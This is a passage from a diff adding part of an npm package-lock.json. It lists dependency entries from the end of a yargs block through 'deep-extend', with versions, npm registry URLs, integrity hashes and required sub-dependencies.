+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                },
+                "yargs": {
+                    "version": "16.2.0",
+                    "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+                    "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+                    "requires": {
+                        "cliui": "^7.0.2",
+                        "escalade": "^3.1.1",
+                        "get-caller-file": "^2.0.5",
+                        "require-directory": "^2.1.1",
+                        "string-width": "^4.2.0",
+                        "y18n": "^5.0.5",
+                        "yargs-parser": "^20.2.2"
+                    }
+                }
+            }
+        },
+        "core-js": {
+            "version": "2.6.12",
+            "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz",
+            "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ=="
+        },
+        "core-js-compat": {
+            "version": "3.24.1",
+            "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.24.1.tgz",
+            "integrity": "sha512-XhdNAGeRnTpp8xbD+sR/HFDK9CbeeeqXT6TuofXh3urqEevzkWmLRgrVoykodsw8okqo2pu1BOmuCKrHx63zdw==",
+            "requires": {
+                "browserslist": "^4.21.3",
+                "semver": "7.0.0"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "7.0.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz",
+                    "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A=="
+                }
+            }
+        },
+        "core-js-pure": {
+            "version": "3.24.1",
+            "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.24.1.tgz",
+            "integrity": "sha512-r1nJk41QLLPyozHUUPmILCEMtMw24NG4oWK6RbsDdjzQgg9ZvrUsPBj1MnG0wXXp1DCDU6j+wUvEmBSrtRbLXg=="
+        },
+        "core-util-is": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
+            "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="
+        },
+        "cors": {
+            "version": "2.8.5",
+            "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz",
+            "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==",
+            "requires": {
+                "object-assign": "^4",
+                "vary": "^1"
+            }
+        },
+        "cosmiconfig": {
+            "version": "6.0.0",
+            "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz",
+            "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==",
+            "requires": {
+                "@types/parse-json": "^4.0.0",
+                "import-fresh": "^3.1.0",
+                "parse-json": "^5.0.0",
+                "path-type": "^4.0.0",
+                "yaml": "^1.7.2"
+            }
+        },
+        "cosmiconfig-toml-loader": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/cosmiconfig-toml-loader/-/cosmiconfig-toml-loader-1.0.0.tgz",
+            "integrity": "sha512-H/2gurFWVi7xXvCyvsWRLCMekl4tITJcX0QEsDMpzxtuxDyM59xLatYNg4s/k9AA/HdtCYfj2su8mgA0GSDLDA==",
+            "requires": {
+                "@iarna/toml": "^2.2.5"
+            }
+        },
+        "create-ecdh": {
+            "version": "4.0.4",
+            "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.4.tgz",
+            "integrity": "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==",
+            "requires": {
+                "bn.js": "^4.1.0",
+                "elliptic": "^6.5.3"
+            },
+            "dependencies": {
+                "bn.js": {
+                    "version": "4.12.0",
+                    "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+                    "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA=="
+                }
+            }
+        },
+        "create-gatsby": {
+            "version": "0.5.1",
+            "resolved": "https://registry.npmjs.org/create-gatsby/-/create-gatsby-0.5.1.tgz",
+            "integrity": "sha512-iQ3Z757x02uw9Z3ereR/+RNjiQPCKLEAh3GLqfcTNNVeGgRd07XdgIgGIZrbuNaKL/3EGdfejd7ElJ1UBLQSHQ=="
+        },
+        "create-hash": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz",
+            "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==",
+            "requires": {
+                "cipher-base": "^1.0.1",
+                "inherits": "^2.0.1",
+                "md5.js": "^1.3.4",
+                "ripemd160": "^2.0.1",
+                "sha.js": "^2.4.0"
+            }
+        },
+        "create-hmac": {
+            "version": "1.1.7",
+            "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz",
+            "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==",
+            "requires": {
+                "cipher-base": "^1.0.3",
+                "create-hash": "^1.1.0",
+                "inherits": "^2.0.1",
+                "ripemd160": "^2.0.0",
+                "safe-buffer": "^5.0.1",
+                "sha.js": "^2.4.8"
+            }
+        },
+        "create-react-context": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/create-react-context/-/create-react-context-0.3.0.tgz",
+            "integrity": "sha512-dNldIoSuNSvlTJ7slIKC/ZFGKexBMBrrcc+TTe1NdmROnaASuLPvqpwj9v4XS4uXZ8+YPu0sNmShX2rXI5LNsw==",
+            "requires": {
+                "gud": "^1.0.0",
+                "warning": "^4.0.3"
+            }
+        },
+        "create-require": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz",
+            "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ=="
+        },
+        "cross-fetch": {
+            "version": "3.1.4",
+            "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.4.tgz",
+            "integrity": "sha512-1eAtFWdIubi6T4XPy6ei9iUFoKpUkIF971QLN8lIvvvwueI65+Nw5haMNKUwfJxabqlIIDODJKGrQ66gxC0PbQ==",
+            "requires": {
+                "node-fetch": "2.6.1"
+            }
+        },
+        "cross-spawn": {
+            "version": "6.0.5",
+            "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
+            "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
+            "requires": {
+                "nice-try": "^1.0.4",
+                "path-key": "^2.0.1",
+                "semver": "^5.5.0",
+                "shebang-command": "^1.2.0",
+                "which": "^1.2.9"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "5.7.1",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+                    "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+                }
+            }
+        },
+        "crypto-browserify": {
+            "version": "3.12.0",
+            "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.0.tgz",
+            "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==",
+            "requires": {
+                "browserify-cipher": "^1.0.0",
+                "browserify-sign": "^4.0.0",
+                "create-ecdh": "^4.0.0",
+                "create-hash": "^1.1.0",
+                "create-hmac": "^1.1.0",
+                "diffie-hellman": "^5.0.0",
+                "inherits": "^2.0.1",
+                "pbkdf2": "^3.0.3",
+                "public-encrypt": "^4.0.0",
+                "randombytes": "^2.0.0",
+                "randomfill": "^1.0.3"
+            }
+        },
+        "crypto-random-string": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
+            "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="
+        },
+        "css-color-names": {
+            "version": "0.0.4",
+            "resolved": "https://registry.npmjs.org/css-color-names/-/css-color-names-0.0.4.tgz",
+            "integrity": "sha512-zj5D7X1U2h2zsXOAM8EyUREBnnts6H+Jm+d1M2DbiQQcUtnqgQsMrdo8JW9R80YFUmIdBZeMu5wvYM7hcgWP/Q=="
+        },
+        "css-declaration-sorter": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-4.0.1.tgz",
+            "integrity": "sha512-BcxQSKTSEEQUftYpBVnsH4SF05NTuBokb19/sBt6asXGKZ/6VP7PLG1CBCkFDYOnhXhPh0jMhO6xZ71oYHXHBA==",
+            "requires": {
+                "postcss": "^7.0.1",
+                "timsort": "^0.3.0"
+            }
+        },
+        "css-loader": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-1.0.1.tgz",
+            "integrity": "sha512-+ZHAZm/yqvJ2kDtPne3uX0C+Vr3Zn5jFn2N4HywtS5ujwvsVkyg0VArEXpl3BgczDA8anieki1FIzhchX4yrDw==",
+            "requires": {
+                "babel-code-frame": "^6.26.0",
+                "css-selector-tokenizer": "^0.7.0",
+                "icss-utils": "^2.1.0",
+                "loader-utils": "^1.0.2",
+                "lodash": "^4.17.11",
+                "postcss": "^6.0.23",
+                "postcss-modules-extract-imports": "^1.2.0",
+                "postcss-modules-local-by-default": "^1.2.0",
+                "postcss-modules-scope": "^1.1.0",
+                "postcss-modules-values": "^1.3.0",
+                "postcss-value-parser": "^3.3.0",
+                "source-list-map": "^2.0.0"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "postcss": {
+                    "version": "6.0.23",
+                    "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz",
+                    "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
+                    "requires": {
+                        "chalk": "^2.4.1",
+                        "source-map": "^0.6.1",
+                        "supports-color": "^5.4.0"
+                    }
+                },
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "css-select": {
+            "version": "4.3.0",
+            "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz",
+            "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==",
+            "requires": {
+                "boolbase": "^1.0.0",
+                "css-what": "^6.0.1",
+                "domhandler": "^4.3.1",
+                "domutils": "^2.8.0",
+                "nth-check": "^2.0.1"
+            }
+        },
+        "css-select-base-adapter": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz",
+            "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w=="
+        },
+        "css-selector-parser": {
+            "version": "1.4.1",
+            "resolved": "https://registry.npmjs.org/css-selector-parser/-/css-selector-parser-1.4.1.tgz",
+            "integrity": "sha512-HYPSb7y/Z7BNDCOrakL4raGO2zltZkbeXyAd6Tg9obzix6QhzxCotdBl6VT0Dv4vZfJGVz3WL/xaEI9Ly3ul0g=="
+        },
+        "css-selector-tokenizer": {
+            "version": "0.7.3",
+            "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.3.tgz",
+            "integrity": "sha512-jWQv3oCEL5kMErj4wRnK/OPoBi0D+P1FR2cDCKYPaMeD2eW3/mttav8HT4hT1CKopiJI/psEULjkClhvJo4Lvg==",
+            "requires": {
+                "cssesc": "^3.0.0",
+                "fastparse": "^1.1.2"
+            }
+        },
+        "css-tree": {
+            "version": "1.0.0-alpha.37",
+            "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz",
+            "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==",
+            "requires": {
+                "mdn-data": "2.0.4",
+                "source-map": "^0.6.1"
+            },
+            "dependencies": {
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "css-what": {
+            "version": "6.1.0",
+            "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
+            "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw=="
+        },
+        "cssesc": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+            "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="
+        },
+        "cssfilter": {
+            "version": "0.0.10",
+            "resolved": "https://registry.npmjs.org/cssfilter/-/cssfilter-0.0.10.tgz",
+            "integrity": "sha512-FAaLDaplstoRsDR8XGYH51znUN0UY7nMc6Z9/fvE8EXGwvJE9hu7W2vHwx1+bd6gCYnln9nLbzxFTrcO9YQDZw=="
+        },
+        "cssnano": {
+            "version": "4.1.11",
+            "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-4.1.11.tgz",
+            "integrity": "sha512-6gZm2htn7xIPJOHY824ERgj8cNPgPxyCSnkXc4v7YvNW+TdVfzgngHcEhy/8D11kUWRUMbke+tC+AUcUsnMz2g==",
+            "requires": {
+                "cosmiconfig": "^5.0.0",
+                "cssnano-preset-default": "^4.0.8",
+                "is-resolvable": "^1.0.0",
+                "postcss": "^7.0.0"
+            },
+            "dependencies": {
+                "cosmiconfig": {
+                    "version": "5.2.1",
+                    "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.1.tgz",
+                    "integrity": "sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==",
+                    "requires": {
+                        "import-fresh": "^2.0.0",
+                        "is-directory": "^0.3.1",
+                        "js-yaml": "^3.13.1",
+                        "parse-json": "^4.0.0"
+                    }
+                },
+                "import-fresh": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-2.0.0.tgz",
+                    "integrity": "sha512-eZ5H8rcgYazHbKC3PG4ClHNykCSxtAhxSSEM+2mb+7evD2CKF5V7c0dNum7AdpDh0ZdICwZY9sRSn8f+KH96sg==",
+                    "requires": {
+                        "caller-path": "^2.0.0",
+                        "resolve-from": "^3.0.0"
+                    }
+                },
+                "js-yaml": {
+                    "version": "3.14.1",
+                    "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+                    "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+                    "requires": {
+                        "argparse": "^1.0.7",
+                        "esprima": "^4.0.0"
+                    }
+                },
+                "parse-json": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
+                    "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==",
+                    "requires": {
+                        "error-ex": "^1.3.1",
+                        "json-parse-better-errors": "^1.0.1"
+                    }
+                },
+                "resolve-from": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
+                    "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw=="
+                }
+            }
+        },
+        "cssnano-preset-default": {
+            "version": "4.0.8",
+            "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-4.0.8.tgz",
+            "integrity": "sha512-LdAyHuq+VRyeVREFmuxUZR1TXjQm8QQU/ktoo/x7bz+SdOge1YKc5eMN6pRW7YWBmyq59CqYba1dJ5cUukEjLQ==",
+            "requires": {
+                "css-declaration-sorter": "^4.0.1",
+                "cssnano-util-raw-cache": "^4.0.1",
+                "postcss": "^7.0.0",
+                "postcss-calc": "^7.0.1",
+                "postcss-colormin": "^4.0.3",
+                "postcss-convert-values": "^4.0.1",
+                "postcss-discard-comments": "^4.0.2",
+                "postcss-discard-duplicates": "^4.0.2",
+                "postcss-discard-empty": "^4.0.1",
+                "postcss-discard-overridden": "^4.0.1",
+                "postcss-merge-longhand": "^4.0.11",
+                "postcss-merge-rules": "^4.0.3",
+                "postcss-minify-font-values": "^4.0.2",
+                "postcss-minify-gradients": "^4.0.2",
+                "postcss-minify-params": "^4.0.2",
+                "postcss-minify-selectors": "^4.0.2",
+                "postcss-normalize-charset": "^4.0.1",
+                "postcss-normalize-display-values": "^4.0.2",
+                "postcss-normalize-positions": "^4.0.2",
+                "postcss-normalize-repeat-style": "^4.0.2",
+                "postcss-normalize-string": "^4.0.2",
+                "postcss-normalize-timing-functions": "^4.0.2",
+                "postcss-normalize-unicode": "^4.0.1",
+                "postcss-normalize-url": "^4.0.1",
+                "postcss-normalize-whitespace": "^4.0.2",
+                "postcss-ordered-values": "^4.1.2",
+                "postcss-reduce-initial": "^4.0.3",
+                "postcss-reduce-transforms": "^4.0.2",
+                "postcss-svgo": "^4.0.3",
+                "postcss-unique-selectors": "^4.0.1"
+            }
+        },
+        "cssnano-util-get-arguments": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz",
+            "integrity": "sha512-6RIcwmV3/cBMG8Aj5gucQRsJb4vv4I4rn6YjPbVWd5+Pn/fuG+YseGvXGk00XLkoZkaj31QOD7vMUpNPC4FIuw=="
+        },
+        "cssnano-util-get-match": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz",
+            "integrity": "sha512-JPMZ1TSMRUPVIqEalIBNoBtAYbi8okvcFns4O0YIhcdGebeYZK7dMyHJiQ6GqNBA9kE0Hym4Aqym5rPdsV/4Cw=="
+        },
+        "cssnano-util-raw-cache": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.1.tgz",
+            "integrity": "sha512-qLuYtWK2b2Dy55I8ZX3ky1Z16WYsx544Q0UWViebptpwn/xDBmog2TLg4f+DBMg1rJ6JDWtn96WHbOKDWt1WQA==",
+            "requires": {
+                "postcss": "^7.0.0"
+            }
+        },
+        "cssnano-util-same-parent": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.1.tgz",
+            "integrity": "sha512-WcKx5OY+KoSIAxBW6UBBRay1U6vkYheCdjyVNDm85zt5K9mHoGOfsOsqIszfAqrQQFIIKgjh2+FDgIj/zsl21Q=="
+        },
+        "csso": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz",
+            "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==",
+            "requires": {
+                "css-tree": "^1.1.2"
+            },
+            "dependencies": {
+                "css-tree": {
+                    "version": "1.1.3",
+                    "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
+                    "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+                    "requires": {
+                        "mdn-data": "2.0.14",
+                        "source-map": "^0.6.1"
+                    }
+                },
+                "mdn-data": {
+                    "version": "2.0.14",
+                    "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
+                    "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow=="
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "csstype": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.0.tgz",
+            "integrity": "sha512-uX1KG+x9h5hIJsaKR9xHUeUraxf8IODOwq9JLNPq6BwB04a/xgpq3rcx47l5BZu5zBPlgD342tdke3Hom/nJRA=="
+        },
+        "currently-unhandled": {
+            "version": "0.4.1",
+            "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz",
+            "integrity": "sha512-/fITjgjGU50vjQ4FH6eUoYu+iUoUKIXws2hL15JJpIR+BbTxaXQsMuuyjtNh2WqsSBS5nsaZHFsFecyw5CCAng==",
+            "requires": {
+                "array-find-index": "^1.0.1"
+            }
+        },
+        "cyclist": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-1.0.1.tgz",
+            "integrity": "sha512-NJGVKPS81XejHcLhaLJS7plab0fK3slPh11mESeeDq2W4ZI5kUKK/LRRdVDvjJseojbPB7ZwjnyOybg3Igea/A=="
+        },
+        "d": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz",
+            "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==",
+            "requires": {
+                "es5-ext": "^0.10.50",
+                "type": "^1.0.1"
+            }
+        },
+        "damerau-levenshtein": {
+            "version": "1.0.8",
+            "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",
+            "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="
+        },
+        "dashdash": {
+            "version": "1.14.1",
+            "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
+            "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==",
+            "requires": {
+                "assert-plus": "^1.0.0"
+            }
+        },
+        "dataloader": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/dataloader/-/dataloader-2.0.0.tgz",
+            "integrity": "sha512-YzhyDAwA4TaQIhM5go+vCLmU0UikghC/t9DTQYZR2M/UvZ1MdOhPezSDZcjj9uqQJOMqjLcpWtyW2iNINdlatQ=="
+        },
+        "date-fns": {
+            "version": "2.29.1",
+            "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.29.1.tgz",
+            "integrity": "sha512-dlLD5rKaKxpFdnjrs+5azHDFOPEu4ANy/LTh04A1DTzMM7qoajmKCBc8pkKRFT41CNzw+4gQh79X5C+Jq27HAw=="
+        },
+        "debug": {
+            "version": "2.6.9",
+            "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+            "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+            "requires": {
+                "ms": "2.0.0"
+            }
+        },
+        "decamelize": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
+            "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="
+        },
+        "decode-named-character-reference": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz",
+            "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==",
+            "requires": {
+                "character-entities": "^2.0.0"
+            }
+        },
+        "decode-uri-component": {
+            "version": "0.2.0",
+            "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz",
+            "integrity": "sha512-hjf+xovcEn31w/EUYdTXQh/8smFL/dzYjohQGEIgjyNavaJfBY2p5F527Bo1VPATxv0VYTUC2bOcXvqFwk78Og=="
+        },
+        "decompress-response": {
+            "version": "3.3.0",
+            "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
+            "integrity": "sha512-BzRPQuY1ip+qDonAOz42gRm/pg9F768C+npV/4JOsxRC2sq+Rlk+Q4ZCAsOhnIaMrgarILY+RMUIvMmmX1qAEA==",
+            "requires": {
+                "mimic-response": "^1.0.0"
+            }
+        },
+        "deep-equal": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.1.tgz",
+            "integrity": "sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==",
+            "requires": {
+                "is-arguments": "^1.0.4",
+                "is-date-object": "^1.0.1",
+                "is-regex": "^1.0.4",
+                "object-is": "^1.0.1",
+                "object-keys": "^1.1.1",
+                "regexp.prototype.flags": "^1.2.0"
+            }
+        },
+        "deep-extend": {
+            "version": "0.6.0",
+            "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
